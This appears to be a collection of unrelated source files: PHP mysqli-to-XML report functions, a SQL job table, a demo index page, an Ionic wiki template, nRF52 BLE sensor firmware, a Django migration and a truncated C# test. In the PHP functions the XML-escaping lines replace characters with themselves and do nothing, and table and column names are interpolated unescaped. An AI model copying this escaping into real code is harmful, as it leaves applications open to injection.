	function sti_mysql_get_columns($connection_string, $query)
	{
		$info = sti_mysql_parse_connection_string($connection_string);
		$link = mysqli_connect($info["host"], $info["user_id"], $info["password"], $info["database"], $info["port"]) or die("ServerError:Could not connect to host '".$info["host"]."'");
		mysqli_set_charset($link, $info["charset"]);
		mysqli_select_db($link, $info["database"]) or die("ServerError:Could not find database '".$info["database"]."'");

		$query = sti_parse_query_parameters($query);
		$result = mysqli_query($link, $query) or die("ServerError:".mysqli_error($link));

		$columns = Array();
		$tables = Array();
		while ($column = mysqli_fetch_field($result))
		{
			array_push($columns, $column);
			if (strlen($column->table) > 0) $tables[$column->table] = $column->table;
		}

		mysqli_free_result($result);

		$fields = Array();
		foreach ($tables as $table)
		{
			$result = mysqli_query($link, "show columns from $table");
			if ($result !== false)
			{
				while ($column = mysqli_fetch_array($result))
				{
					$field = (object)null;
					$field->table = $table;
					$field->name = $column["Field"];
					$field->type = $column["Type"];
					array_push($fields, $field);
					unset($field);
				}
				mysqli_free_result($result);
			}
		}

		$xml_output = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Tables><RetrieveColumns>";

		foreach ($columns as $column)
		{
			$column_type = sti_mysql_get_column_type($fields, $column);
			$xml_output .= "<$column->name type=\"$column_type\" />";
		}

		$xml_output .= "</RetrieveColumns></Tables>";

		mysqli_close($link);

		return $xml_output;
	}

	function sti_mysql_get_data($connection_string, $data_source_name, $query)
	{
		$info = sti_mysql_parse_connection_string($connection_string);
		$link = mysqli_connect($info["host"], $info["user_id"], $info["password"], $info["database"], $info["port"]) or die("ServerError:Could not connect to host '".$info["host"]."'");
		mysqli_set_charset($link, $info["charset"]);
		mysqli_select_db($link, $info["database"]) or die("ServerError:Could not find database '".$info["database"]."'");

		$query = sti_parse_query_parameters($query);
		$query_result = mysqli_query($link, $query) or die("ServerError:".mysqli_error($link));

		$columns = Array();
		$tables = Array();
		while ($column = mysqli_fetch_field($query_result))
		{
			array_push($columns, $column);
			if (strlen($column->table) > 0) $tables[$column->table] = $column->table;
		}

		$fields = Array();
		foreach ($tables as $table)
		{
			$result = mysqli_query($link, "show columns from $table");
			if ($result !== false)
			{
				while ($column = mysqli_fetch_array($result))
				{
					$field = (object)null;
					$field->table = $table;
					$field->name = $column["Field"];
					$field->type = $column["Type"];
					array_push($fields, $field);
					unset($field);
				}
				mysqli_free_result($result);
			}
		}

		$xml_output = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Database>";

		while ($row = mysqli_fetch_assoc($query_result))
		{
			$xml_output .= "<$data_source_name>";
			foreach ($columns as $column)
			{
				$value = $row[$column->name];
				if ($value) {
					$column_type = sti_mysql_get_column_type($fields, $column);

					if ($column_type == "base64Binary") $value = base64_encode($value);
					else if ($column_type == "boolean")
					{
						if ($value != 0) $value = "true";
						else $value = "false";
					}
					else
					{
						$value = str_replace("&", "&", $value);
						$value = str_replace("<", "<", $value);
						$value = str_replace(">", ">", $value);
					}

					$xml_output .= "<$column->name>$value</$column->name>";
				}
			}
			$xml_output .= "</$data_source_name>";
		}

		$xml_output .= "</Database>";

		mysqli_free_result($query_result);
		mysqli_close($link);

		return $xml_output;
	}

	if (function_exists('mysqli_set_charset') === false)
	{
		function mysqli_set_charset($link_identifier, $charset)
		{
			if ($link_identifier == null) return mysqli_query('SET NAMES "'.$charset.'"');
			else return mysqli_query($link_identifier, 'SET NAMES "'.$charset.'"');
		}
	}
?>


text:
-- Jobs performed by parallel apache threads or a command-line daemon
CREATE TABLE /*_*/job (
  job_id int unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT,

  -- Command name
  -- Limited to 60 to prevent key length overflow
  job_cmd varbinary(60) NOT NULL default '',

  -- Namespace and title to act on
  -- Should be 0 and '' if the command does not operate on a title
  job_namespace int NOT NULL,
  job_title varchar(255) binary NOT NULL,

  -- Any other parameters to the command
  -- Stored as a PHP serialized array, or an empty string if there are no parameters
  job_params blob NOT NULL
) /*$wgDBTableOptions*/;

CREATE INDEX /*i*/job_cmd ON /*_*/job (job_cmd, job_namespace, job_title, job_params(128));


text:
  <title>Pipeline-Demos</title>

Pipeline-Demos

      sequence.html
      displays the basic usage of pipeline.sequence

      parallel.html
      displays the basic usage of pipeline.parallel

      mixed.html

        displays how to build a pipeline with both pipeline.sequence
        and pipeline.parallel

      forEach.html

        displays how to use pipeline.forEach to process all items of
        a collection in sequence

      context.html

        displays how to use a context to share variables between the async
        functions

      error.html

        how to handle errors in pipeline.sequence,
        pipeline.parallel and pipeline.forEach


text:
<core-navbar-buttons slot="end">

    <ion-button *ngIf="subwikiData.count > 1" (click)="showSubwikiPicker($event)" [attr.aria-label]="'addon.mod_wiki.subwiki' | translate"
        aria-haspopup="true">
        <ion-icon *ngIf="!groupWiki" name="fas-user" aria-hidden="true"></ion-icon>
        <ion-icon *ngIf="groupWiki" name="fas-users" aria-hidden="true"></ion-icon>
    </ion-button>

    <ion-button *ngIf="!showLoading && currentPageObj" (click)="openMap()" [attr.aria-label]="'addon.mod_wiki.map' | translate"
        aria-haspopup="true">
        <ion-icon name="fas-map" aria-hidden="true"></ion-icon>
    </ion-button>

    <core-context-menu>
        <core-context-menu-item *ngIf="canEdit && (isOnline || pageIsOffline)" [priority]="590" [content]="'core.edit' | translate"
            iconAction="fas-edit" (action)="goToEditPage()">
        </core-context-menu-item>
        <core-context-menu-item *ngIf="canEdit" [priority]="580" [content]="'addon.mod_wiki.createpage' | translate" iconAction="fas-plus"
            (action)="goToNewPage()">
        </core-context-menu-item>
    </core-context-menu>

    <ion-button fill="clear" (click)="openModuleSummary()" aria-haspopup="true" [attr.aria-label]="'core.info' | translate">
        <ion-icon name="fas-info-circle" slot="icon-only" aria-hidden="true"></ion-icon>
    </ion-button>
</core-navbar-buttons>

<core-loading [hideUntil]="!showLoading">

    <core-course-module-info *ngIf="isMainPage" [module]="module" [description]="description" [component]="component"
        [componentId]="componentId" [courseId]="courseId" (completionChanged)="onCompletionChange()">
    </core-course-module-info>

        <ion-card class="core-warning-card" *ngIf="pageIsOffline || hasOffline">
            <ion-item class="ion-text-wrap">
                <ion-icon name="fas-exclamation-triangle" slot="start" aria-hidden="true"></ion-icon>
                <ion-label>
                    {{ 'core.hasdatatosync' | translate:{$a: pageStr} }}
                    {{ 'core.hasdatatosync' | translate:{$a: moduleName} }}
                </ion-label>
            </ion-item>
        </ion-card>

        <ion-card class="core-warning-card" *ngIf="pageWarning">
            <ion-item>
                <ion-icon name="fas-exclamation-triangle" slot="start" aria-hidden="true"></ion-icon>
                <ion-label>{{ pageWarning }}</ion-label>
            </ion-item>
        </ion-card>

{{pageTitle}}

            <core-format-text *ngIf="pageContent" [component]="component" [componentId]="componentId" [text]="pageContent"
                contextLevel="module" [contextInstanceId]="module.id" [courseId]="courseId">
            </core-format-text>
            <core-empty-box *ngIf="!pageContent" icon="fas-file-alt" [message]="'addon.mod_wiki.nocontent' | translate">
            </core-empty-box>

 0">
            {{ 'core.tag.tags' | translate }}:
            <core-tag-list [tags]="tags"></core-tag-list>

</core-loading>

<core-course-module-navigation collapsible-footer *ngIf="isMainPage" [hidden]="showLoading" [courseId]="courseId"
    [currentModuleId]="module.id">
</core-course-module-navigation>

<ion-fab slot="fixed" core-fab vertical="bottom" horizontal="end" *ngIf="canEdit">
    <ion-fab-button (click)="goToNewPage()" [attr.aria-label]="'addon.mod_wiki.createpage' | translate">
        <ion-icon name="fas-plus" aria-hidden="true"></ion-icon>
        {{ 'addon.mod_wiki.createpage' | translate }}
    </ion-fab-button>
</ion-fab>


text:
#include <string.h>

#include "app_util_platform.h"
#include "app_scheduler.h"

#include "bsec_interface.h"

#include "istddef.h"
#include "ble_app.h"
#include "ble_service.h"
#include "blueio_board.h"
#include "coredev/uart.h"
#include "coredev/i2c.h"
#include "coredev/spi.h"
#include "custom_board.h"
#include "coredev/iopincfg.h"
#include "iopinctrl.h"
#include "sensors/tph_bme280.h"
#include "sensors/tph_ms8607.h"
#include "sensors/tphg_bme680.h"
#include "sensors/agm_mpu9250.h"
#include "sensors/accel_adxl362.h"
#include "timer_nrfx.h"
#include "board.h"
#include "idelay.h"
#include "seep.h"
#include "diskio_flash.h"

#include "BlueIOThingy.h"
#include "BlueIOMPU9250.h"

#define DEVICE_NAME                     "BlueIOThingy"                            /**< Name of device. Will be included in the advertising data. */

#define MANUFACTURER_NAME               "I-SYST inc."                       /**< Manufacturer. Will be passed to Device Information Service. */

#ifdef NRF52
#define MODEL_NAME                      "IMM-NRF52x"                        /**< Model number. Will be passed to Device Information Service. */
#else
#define MODEL_NAME                      "IMM-NRF51x"                        /**< Model number. Will be passed to Device Information Service. */
#endif

#define APP_ADV_INTERVAL                MSEC_TO_UNITS(200, UNIT_0_625_MS)             /**< The advertising interval (in units of 0.625 ms. This value corresponds to 40 ms). */
// Use advertisement timeout to update data
#define APP_ADV_TIMEOUT_IN_SECONDS      0                                         /**< The advertising timeout (in units of seconds). */

#define MIN_CONN_INTERVAL               MSEC_TO_UNITS(8, UNIT_1_25_MS)     /**< Minimum acceptable connection interval (20 ms), Connection interval uses 1.25 ms units. */
#define MAX_CONN_INTERVAL               MSEC_TO_UNITS(75, UNIT_1_25_MS)     /**< Maximum acceptable connection interval (75 ms), Connection interval uses 1.25 ms units. */

#ifdef NEBLINA_MODULE
#define TPH_BME280
#else
#define TPH_BME680
#endif

//#ifdef NRF52
// Use timer to update data
// NOTE :	RTC timer 0 used by radio, RTC Timer 1 used by SDK
//			Only RTC timer 2 is usable with Softdevice for nRF52, not avail on nRF51
//
#define USE_TIMER_UPDATE
//#endif

#define APP_ADV_INTERVAL                MSEC_TO_UNITS(200, UNIT_0_625_MS)             /**< The advertising interval (in units of 0.625 ms. This value corresponds to 40 ms). */
#ifdef USE_TIMER_UPDATE
// Use timer to update date
#define APP_ADV_TIMEOUT_IN_SECONDS      0                                         /**< The advertising timeout (in units of seconds). */
#else
// Use advertisement timeout to update data
#define APP_ADV_TIMEOUT_IN_SECONDS      0                                         /**< The advertising timeout (in units of seconds). */
#endif

uint8_t g_AdvDataBuff[10] = {
	BLEADV_MANDATA_TYPE_TPH,
};

BLEADV_MANDATA &g_AdvData = *(BLEADV_MANDATA*)g_AdvDataBuff;

// Evironmental Sensor Data to advertise
BLEADV_MANDATA_TPHSENSOR &g_TPHData = *(BLEADV_MANDATA_TPHSENSOR *)g_AdvData.Data;
BLEADV_MANDATA_GASSENSOR &g_GasData = *(BLEADV_MANDATA_GASSENSOR *)g_AdvData.Data;

void TimerHandler(Timer *pTimer, uint32_t Evt);

const static TIMER_CFG s_TimerCfg = {
    .DevNo = 2,
	.ClkSrc = TIMER_CLKSRC_DEFAULT,
	.Freq = 0,			// 0 => Default highest frequency
	.IntPrio = APP_IRQ_PRIORITY_LOW,
	.EvtHandler = NULL,//TimerHandler
};

#ifdef NRF51
TimerAppTimer g_Timer;
#else
TimerLFnRFx g_Timer;
//TimerAppTimer g_Timer;
#endif

static const ble_uuid_t  s_AdvUuids[] = {
    {BLE_UUID_TCS_SERVICE, BLE_UUID_TYPE_VENDOR_BEGIN}
};

const BLEAPP_CFG s_BleAppCfg = {
#ifdef IMM_NRF51822
		.ClkCfg = { NRF_CLOCK_LF_SRC_RC, 1, 1, 0},
#else
		.ClkCfg = { NRF_CLOCK_LF_SRC_XTAL, 0, 0, NRF_CLOCK_LF_ACCURACY_20_PPM},
#endif
	.CentLinkCount = 0, 				// Number of central link
	.PeriLinkCount = 1, 				// Number of peripheral link
	.AppMode = BLEAPP_MODE_APPSCHED,	// Use scheduler
	.pDevName = DEVICE_NAME,			// Device name
	.VendorID = ISYST_BLUETOOTH_ID,		// PnP Bluetooth/USB vendor id
	.ProductId = 1,						// PnP Product ID
	.ProductVer = 0,					// Pnp prod version
	.bEnDevInfoService = false,			// Enable device information service (DIS)
	.pDevDesc = NULL,
	.pAdvManData = g_AdvDataBuff,			// Manufacture specific data to advertise
	.AdvManDataLen = sizeof(g_AdvDataBuff),	// Length of manufacture specific data
	.pSrManData = NULL,
	.SrManDataLen = 0,
	.SecType = BLEAPP_SECTYPE_NONE,//BLEAPP_SECTYPE_STATICKEY_MITM,//BLEAPP_SECTYPE_NONE,    // Secure connection type
	.SecExchg = BLEAPP_SECEXCHG_NONE,	// Security key exchange
	.pAdvUuids = s_AdvUuids,      			// Service uuids to advertise
	.NbAdvUuid = sizeof(s_AdvUuids) / sizeof(ble_uuid_t), 					// Total number of uuids
	.AdvInterval = APP_ADV_INTERVAL,	// Advertising interval in msec
	.AdvTimeout = 0,		// Advertising timeout in sec
	.AdvSlowInterval = 0,				// Slow advertising interval, if > 0, fallback to
										// slow interval on adv timeout and advertise until connected
	.ConnIntervalMin = MIN_CONN_INTERVAL,
	.ConnIntervalMax = MAX_CONN_INTERVAL,
	.ConnLedPort = BLUEIO_CONNECT_LED_PORT,// Led port nuber
	.ConnLedPin = BLUEIO_CONNECT_LED_PIN,// Led pin number
	.ConnLedActLevel = 0,
	.TxPower = 0,						// Tx power
	.SDEvtHandler = NULL,				// RTOS Softdevice handler
	.MaxMtu = 53,
};

static const IOPINCFG s_GpioPins[] = {
    {BLUEIO_BUT1_PORT, BLUEIO_BUT1_PIN, BLUEIO_BUT1_PINOP,
     IOPINDIR_INPUT, IOPINRES_PULLUP, IOPINTYPE_NORMAL},
	{BLUEIO_BUT2_PORT, BLUEIO_BUT2_PIN, BLUEIO_BUT2_PINOP,
	 IOPINDIR_INPUT, IOPINRES_PULLUP, IOPINTYPE_NORMAL},
    {BLUEIO_LED1_PORT, BLUEIO_LED1_PIN, BLUEIO_LED1_PINOP,
     IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
	{BLUEIO_TAG_EVIM_LED2_RED_PORT, BLUEIO_TAG_EVIM_LED2_RED_PIN, BLUEIO_TAG_EVIM_LED2_RED_PINOP,
	 IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
	{BLUEIO_TAG_EVIM_LED2_GREEN_PORT, BLUEIO_TAG_EVIM_LED2_GREEN_PIN, BLUEIO_TAG_EVIM_LED2_GREEN_PINOP,
	 IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
	{BLUEIO_TAG_EVIM_LED2_BLUE_PORT, BLUEIO_TAG_EVIM_LED2_BLUE_PIN, BLUEIO_TAG_EVIM_LED2_BLUE_PINOP,
	 IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
	{BLUEIO_TAG_EVIM_EEP_WP_PORT, BLUEIO_TAG_EVIM_EEP_WP_PIN, BLUEIO_TAG_EVIM_EEP_WP_PINOP,				// EEP WP
	 IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
	{BLUEIO_TAG_EVIM_BUZZ_PORT, BLUEIO_TAG_EVIM_BUZZ_PIN, BLUEIO_TAG_EVIM_BUZZ_PINOP,
	 IOPINDIR_OUTPUT, IOPINRES_PULLDOWN, IOPINTYPE_NORMAL},
};

static const int s_NbGpioPins = sizeof(s_GpioPins) / sizeof(IOPINCFG);

static const IOPINCFG s_SpiPins[] = {
    {SPI2_SCK_PORT, SPI2_SCK_PIN, SPI2_SCK_PINOP,
		IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
    {SPI2_MISO_PORT, SPI2_MISO_PIN, SPI2_MISO_PINOP,
		IOPINDIR_INPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
    {SPI2_MOSI_PORT, SPI2_MOSI_PIN, SPI2_MOSI_PINOP,
		IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
    {BLUEIO_TAG_EVIM_IMU_CS_PORT, BLUEIO_TAG_EVIM_IMU_CS_PIN, BLUEIO_TAG_EVIM_IMU_CS_PINOP,
		IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
	{BLUEIO_TAG_EVIM_FLASH_CS_PORT, BLUEIO_TAG_EVIM_FLASH_CS_PIN, BLUEIO_TAG_EVIM_FLASH_CS_PINOP,
		IOPINDIR_OUTPUT, IOPINRES_PULLUP, IOPINTYPE_NORMAL},	// CS
};

static const SPICFG s_SpiCfg = {
    .DevNo = SPI2_DEVNO,
    .Phy = SPIPHY_NORMAL,
	.Mode = SPIMODE_MASTER,
    .pIOPinMap = s_SpiPins,
    .NbIOPins = sizeof(s_SpiPins) / sizeof(IOPINCFG),
    .Rate = 1000000,   // Speed in Hz
    .DataSize = 8,      // Data Size
    .MaxRetry = 5,      // Max retries
    .BitOrder = SPIDATABIT_MSB,
    .DataPhase = SPIDATAPHASE_SECOND_CLK, // Data phase
    .ClkPol = SPICLKPOL_LOW,         // clock polarity
    .ChipSel = SPICSEL_AUTO,
	.bDmaEn = true,
	.bIntEn = false,
    .IntPrio = APP_IRQ_PRIORITY_LOW,      // Interrupt priority
    .EvtCB = NULL
};

SPI g_Spi;

//DeviceIntrf *g_pIntrf = &g_Spi;

// Configure I2C interface
static const I2CCFG s_I2cCfg = {
	.DevNo = 0,			// I2C device number
	.Pins = {
#if defined(TPH_BME280) || defined(TPH_BME680)
		{I2C0_SDA_PORT, I2C0_SDA_PIN, I2C0_SDA_PINOP, IOPINDIR_BI, IOPINRES_NONE, IOPINTYPE_NORMAL},
		{I2C0_SCL_PORT, I2C0_SCL_PIN, I2C0_SCL_PINOP, IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
#else
		// Custom board with MS8607
		{0, 4, 0, IOPINDIR_BI, IOPINRES_NONE, IOPINTYPE_NORMAL},
		{0, 3, 0, IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},
#endif
	},
	.Rate = 100000,		// Rate
	.Mode = I2CMODE_MASTER,
	.MaxRetry = 5,			// Retry
	.NbSlaveAddr = 0,			// Number of slave addresses
	.SlaveAddr = {0,},		// Slave addresses
	.bDmaEn = true,
	.bIntEn = false,		// use interrupt
	.IntPrio = APP_IRQ_PRIORITY_LOW,// Interrupt prio
	.EvtCB = NULL		// Event callback
};

// I2C interface instance
I2C g_I2c;

//DeviceIntrf *g_pIntrf = &g_I2c;

// Configure environmental sensor
static TPHSENSOR_CFG s_TphSensorCfg = {
#ifdef NEBLINA_MODULE
	.DevAddr = 0,      // SPI CS index 0 connected to BME280
#else
	.DevAddr = BME680_I2C_DEV_ADDR0,   // I2C device address
#endif
	.OpMode = SENSOR_OPMODE_SINGLE,
	.Freq = 100,						// Sampling frequency in mHz
	.TempOvrs = 1,
	.PresOvrs = 1,
	.HumOvrs = 1,
	.FilterCoeff = 1,
};

static const GASSENSOR_HEAT s_HeaterProfile[] = {
	{ 375, 125 },
};

static const GASSENSOR_CFG s_GasSensorCfg = {
	BME680_I2C_DEV_ADDR0,	// Device address
	SENSOR_OPMODE_SINGLE,	// Operating mode
	500,
	sizeof(s_HeaterProfile) / sizeof(GASSENSOR_HEAT),
	s_HeaterProfile
};

// Environmental sensor instance
TphgBme680 g_Bme680Sensor;
TphBme280 g_Bme280Sensor;

#ifdef TPH_BME280
TphSensor &g_TphSensor = g_Bme280Sensor;
#elif defined(TPH_BME680)
TphSensor &g_TphSensor = g_Bme680Sensor;
#else
TphSensor &g_TphSensor = g_MS8607Sensor;
#endif

GasSensor &g_GasSensor = g_Bme680Sensor;

static const ACCELSENSOR_CFG s_AccelCfg = {
	.DevAddr = 0,	// SPI CS idx
	.OpMode = SENSOR_OPMODE_CONTINUOUS,
	.Freq = 50000,	// 50Hz (in mHz)
	.Scale = 2,
	.bInter = true,
	.IntPol = DEVINTR_POL_LOW,
};

//AgmMpu9250 g_AgmSensor;
AccelAdxl362 g_AccelSensor;

static const SEEP_CFG s_SeepCfg = {
	.DevAddr = 0x50,
	.AddrLen = 2,
	.PageSize = 32,
	.Size = 128 * 32,
	.WrDelay = 5,
	.WrProtPin = {-1, -1,},
};

Seep g_Seep;

FlashDiskIO g_FlashDiskIO;

static uint8_t s_FlashCacheMem[DISKIO_SECT_SIZE];
DISKIO_CACHE_DESC g_FlashCache = {
    -1, 0xFFFFFFFF, s_FlashCacheMem
};

bool MX25U1635E_init(int pDevNo, DeviceIntrf* ppInterface);

static FLASHDISKIO_CFG s_FlashDiskCfg = {
    .DevNo = 1,
    .TotalSize = 16 * 1024 * 1024 / 8,      // 256 Mbits
    .SectSize = 4,
	.BlkSize = 32,
    .WriteSize = 128,
    .AddrSize = 3,                          // 256+ Mbits needs 4 bytes addressing
    .pInitCB = MX25U1635E_init,//mx66u51235f_init,
    .pWaitCB = NULL,//FlashWriteDelayCallback,
};

bool FlashWriteDelayCallback(int DevNo, DeviceIntrf *pInterf)
{
	return true;
}

bool MX25U1635E_init(int DevNo, DeviceIntrf* pInterface)
{
    if (pInterface == NULL)
        return false;

    int cnt = 0;

    uint32_t d;
    uint32_t r = 0;

    d = FLASH_CMD_READID;
    cnt = pInterface->Read(DevNo, (uint8_t*)&d, 1, (uint8_t*)&r, 3);
    if ( r != 0x25C2 )
    	return false;

    // Enable write
    d = FLASH_CMD_EN4B;
    cnt = pInterface->Tx(DevNo, (uint8_t*)&d, 1);

    return true;
}

void ReadPTHData()
{
	static uint32_t gascnt = 0;
	TPHSENSOR_DATA data;

	g_TphSensor.Read(data);

	if (g_TphSensor.DeviceID() == BME680_ID && (gascnt & 0x3) == 0)
	{
		GASSENSOR_DATA gdata;
		BLEADV_MANDATA_GASSENSOR gas;

		g_GasSensor.Read(gdata);

		g_AdvData.Type = BLEADV_MANDATA_TYPE_GAS;
		gas.GasRes = gdata.GasRes[gdata.MeasIdx];
		gas.AirQIdx = gdata.AirQualIdx;

		memcpy(&g_GasData, &gas, sizeof(BLEADV_MANDATA_GASSENSOR));
	}
	else
	{
		g_AdvData.Type = BLEADV_MANDATA_TYPE_TPH;

		// NOTE : M0 does not access unaligned data
		// use local 4 bytes align stack variable then mem copy
		// skip timestamp as advertising pack is limited in size
		memcpy(&g_TPHData, ((uint8_t*)&data) + sizeof(data.Timestamp), sizeof(BLEADV_MANDATA_TPHSENSOR));
	}

	g_TphSensor.StartSampling();

	// Update advertisement data
	BleAppAdvManDataSet(g_AdvDataBuff, sizeof(g_AdvDataBuff), NULL, 0);

	EnvSrvcNotifTemp((float)data.Temperature / 100.0);

	EnvSrvcNotifPressure((float)data.Pressure / 100.0);

	EnvSrvcNotifHumi(data.Humidity / 100);

	gascnt++;
}

void SchedAdvData(void * p_event_data, uint16_t event_size)
{
	ReadPTHData();
}

void AppTimerHandler(Timer *pTimer, int TrigNo, void *pContext)
{
	if (TrigNo == 0)
	{
		app_sched_event_put(pContext, sizeof(uint32_t), SchedAdvData);
	}
}

void TimerHandler(Timer *pTimer, uint32_t Evt)
{
    if (Evt & TIMER_EVT_TRIGGER(0))
    {
		// NOTE : Use app_sched is needed as Softdevice will crash if called directly
		app_sched_event_put(&Evt, sizeof(uint32_t), SchedAdvData);
    }
}

/// BLE event handler.  Need this to handle events for the services
void BlePeriphEvtUserHandler(ble_evt_t * p_ble_evt)
{
#ifndef USE_TIMER_UPDATE
    if (p_ble_evt->header.evt_id == BLE_GAP_EVT_TIMEOUT)
    {
		// Update environmental sensor data every time advertisement timeout
		// for re-advertisement
		ReadPTHData();
    }
#endif

	BleSrvcEvtHandler(GetConfSrvcInstance(), p_ble_evt);
	BleSrvcEvtHandler(GetUISrvcInstance(), p_ble_evt);
    BleSrvcEvtHandler(GetEnvSrvcInstance(), p_ble_evt);
    BleSrvcEvtHandler(GetImuSrvcInstance(), p_ble_evt);
}

/// Initialize all services needed for this firmware
void BleAppInitUserServices()
{
    uint32_t res = 0;

    res = ConfSrvcInit();
    res = UISrvcInit();
    res = EnvSrvcInit();
    res = ImuSrvcInit();
}

void FlashTest()
{
	g_FlashDiskIO.Init(s_FlashDiskCfg, &g_Spi, &g_FlashCache, 1);

	uint8_t buff[512];
	uint8_t tmp[512];
	uint16_t *p = (uint16_t*)buff;

	memset(tmp, 0, 512);
	for (int i = 0; i < 256; i++)
	{
		p[i] = i;
	}

	printf("Erasing... Please wait\r\n");

	// Ease could take a few minutes
	g_FlashDiskIO.Erase();

	printf("Writing 2KB data...\r\n");

	g_FlashDiskIO.SectWrite(0, buff);
	g_FlashDiskIO.SectWrite(2, buff);
	g_FlashDiskIO.SectWrite(4, buff);
	g_FlashDiskIO.SectWrite(8, buff);

	printf("Validate readback...\r\n");

	g_FlashDiskIO.SectRead(0, tmp);

	if (memcmp(buff, tmp, 512) != 0)
	{
		printf("Sector 0 verify failed\r\n");
	}
	else
	{
		printf("Sector 0 verify success\r\n");
	}

	memset(tmp, 0, 512);
	g_FlashDiskIO.SectRead(2, tmp);
	if (memcmp(buff, tmp, 512) != 0)
	{
		printf("Sector 2 verify failed\r\n");
	}
	else
	{
		printf("Sector 2 verify success\r\n");
	}

	memset(tmp, 0, 512);
	g_FlashDiskIO.SectRead(4, tmp);
	if (memcmp(buff, tmp, 512) != 0)
	{
		printf("Sector 4 verify failed\r\n");
	}
	else
	{
		printf("Sector 4 verify success\r\n");
	}

	memset(tmp, 0, 512);
	g_FlashDiskIO.SectRead(8, tmp);
	if (memcmp(buff, tmp, 512) != 0)
	{
		printf("Sector 8 verify failed\r\n");
	}
	else
	{
		printf("Sector 8 verify success\r\n");
	}
}

void HardwareInit()
{
	// Set this only if nRF is power at 2V or more
	NRF_POWER->DCDCEN = POWER_DCDCEN_DCDCEN_Enabled << POWER_DCDCEN_DCDCEN_Pos;

	IOPinCfg(s_GpioPins, s_NbGpioPins);

	// Turn off all LEDs
	IOPinSet(BLUEIO_LED1_PORT, BLUEIO_LED1_PIN);
	IOPinClear(BLUEIO_TAG_EVIM_LED2_RED_PORT, BLUEIO_TAG_EVIM_LED2_RED_PIN);
	IOPinClear(BLUEIO_TAG_EVIM_LED2_GREEN_PORT, BLUEIO_TAG_EVIM_LED2_GREEN_PIN);
	IOPinClear(BLUEIO_TAG_EVIM_LED2_BLUE_PORT, BLUEIO_TAG_EVIM_LED2_BLUE_PIN);

	//IOPinSet(BLUEIO_TAG_EVIM_LED2_RED_PORT, BLUEIO_TAG_EVIM_LED2_RED_PIN);
	//IOPinSet(BLUEIO_TAG_EVIM_LED2_GREEN_PORT, BLUEIO_TAG_EVIM_LED2_GREEN_PIN);
	//IOPinSet(BLUEIO_TAG_EVIM_LED2_BLUE_PORT, BLUEIO_TAG_EVIM_LED2_BLUE_PIN);

    g_Timer.Init(s_TimerCfg);

    g_Spi.Init(s_SpiCfg);

    g_I2c.Init(s_I2cCfg);

    g_Seep.Init(s_SeepCfg, &g_I2c);

    uint8_t d = 0xa5;
    g_Seep.Write(0, &d, 1);

    d = 0;
    g_Seep.Read(0, &d, 1);

    printf("%d\r\n", d);

    uint8_t reg[2] = { 0xb, 0};
    uint8_t val[2] = {0, };

    g_Spi.Read(0, reg, 2, val, 2);

    if (MPU9250Init(&g_Spi, &g_Timer) == true)
    {

    }
    else
    {
    	if (ICM20948Init(&g_Spi, &g_Timer) == true)
    	{

    	}
    }

//    g_AgmSensor.Init(s_AccelCfg, &g_Spi);
    //g_AccelSensor.Init(s_AccelCfg, &g_Spi);

    bsec_library_return_t bsec_status;

	// NOTE : For BME680 air quality calculation, this library is require to be initialized
	// before initializing the sensor driver.
	bsec_status = bsec_init();

	if (bsec_status != BSEC_OK)
	{
		printf("BSEC init failed\r\n");

		return;
	}

	// Inititalize sensor
    g_TphSensor.Init(s_TphSensorCfg, &g_I2c, &g_Timer);

    if (g_TphSensor.DeviceID() == BME680_ID)
    {
		g_GasSensor.Init(s_GasSensorCfg, &g_I2c, NULL);
    }

	g_TphSensor.StartSampling();

	usDelay(200000);

    // Update sensor data
    TPHSENSOR_DATA tphdata;

    g_TphSensor.Read(tphdata);

    if (g_TphSensor.DeviceID() == BME680_ID)
    {
		GASSENSOR_DATA gdata;
		g_GasSensor.Read(gdata);
    }

	g_TphSensor.StartSampling();

	g_AdvData.Type = BLEADV_MANDATA_TYPE_TPH;
	// Do memcpy to adv data. Due to byte alignment, cannot read directly into
	// adv data
	memcpy(g_AdvData.Data, ((uint8_t*)&tphdata) + 4, sizeof(BLEADV_MANDATA_TPHSENSOR));

//#ifdef USE_TIMER_UPDATE
	// Only with SDK14
//	uint64_t period = g_Timer.EnableTimerTrigger(0, 500UL, TIMER_TRIG_TYPE_CONTINUOUS, AppTimerHandler);
//#endif

    //RETURN_IF_ERROR(err_code);

}

//
// Print a greeting message on standard output and exit.
//
// On embedded platforms this might require semi-hosting or similar.
//
// For example, for toolchains derived from GNU Tools for Embedded,
// to enable semi-hosting, the following was added to the linker:
//
// --specs=rdimon.specs -Wl,--start-group -lgcc -lc -lm -lrdimon -Wl,--end-group
//
// Adjust it for other toolchains.
//
int main()
{
    HardwareInit();

    BleAppInit((const BLEAPP_CFG *)&s_BleAppCfg, true);

	uint32_t period = g_Timer.EnableTimerTrigger(0, 500UL, TIMER_TRIG_TYPE_CONTINUOUS, AppTimerHandler);

    BleAppRun();

	return 0;
}

extern "C" int _MLPrintLog (int priority, const char* tag, const char* fmt, ...)
{
	return 0;
}


text:
from __future__ import unicode_literals

from django.db import migrations

class Migration(migrations.Migration):

    dependencies = [
        ('markets', '0051_publish_markets'),
    ]

    operations = [
        migrations.RemoveField(
            model_name='market',
            name='published',
        ),
    ]


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using GitHub.Api;
using GitHub.Models;
using GitHub.Primitives;
using GitHub.Services;
using GitHub.VisualStudio;
using NSubstitute;
using Octokit;
using NUnit.Framework;

public class ConnectionManagerTests
{
    public class TheGetInitializedConnectionsMethod
    {
        [Test]
        public async Task ReturnsValidConnections()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github", "valid"),
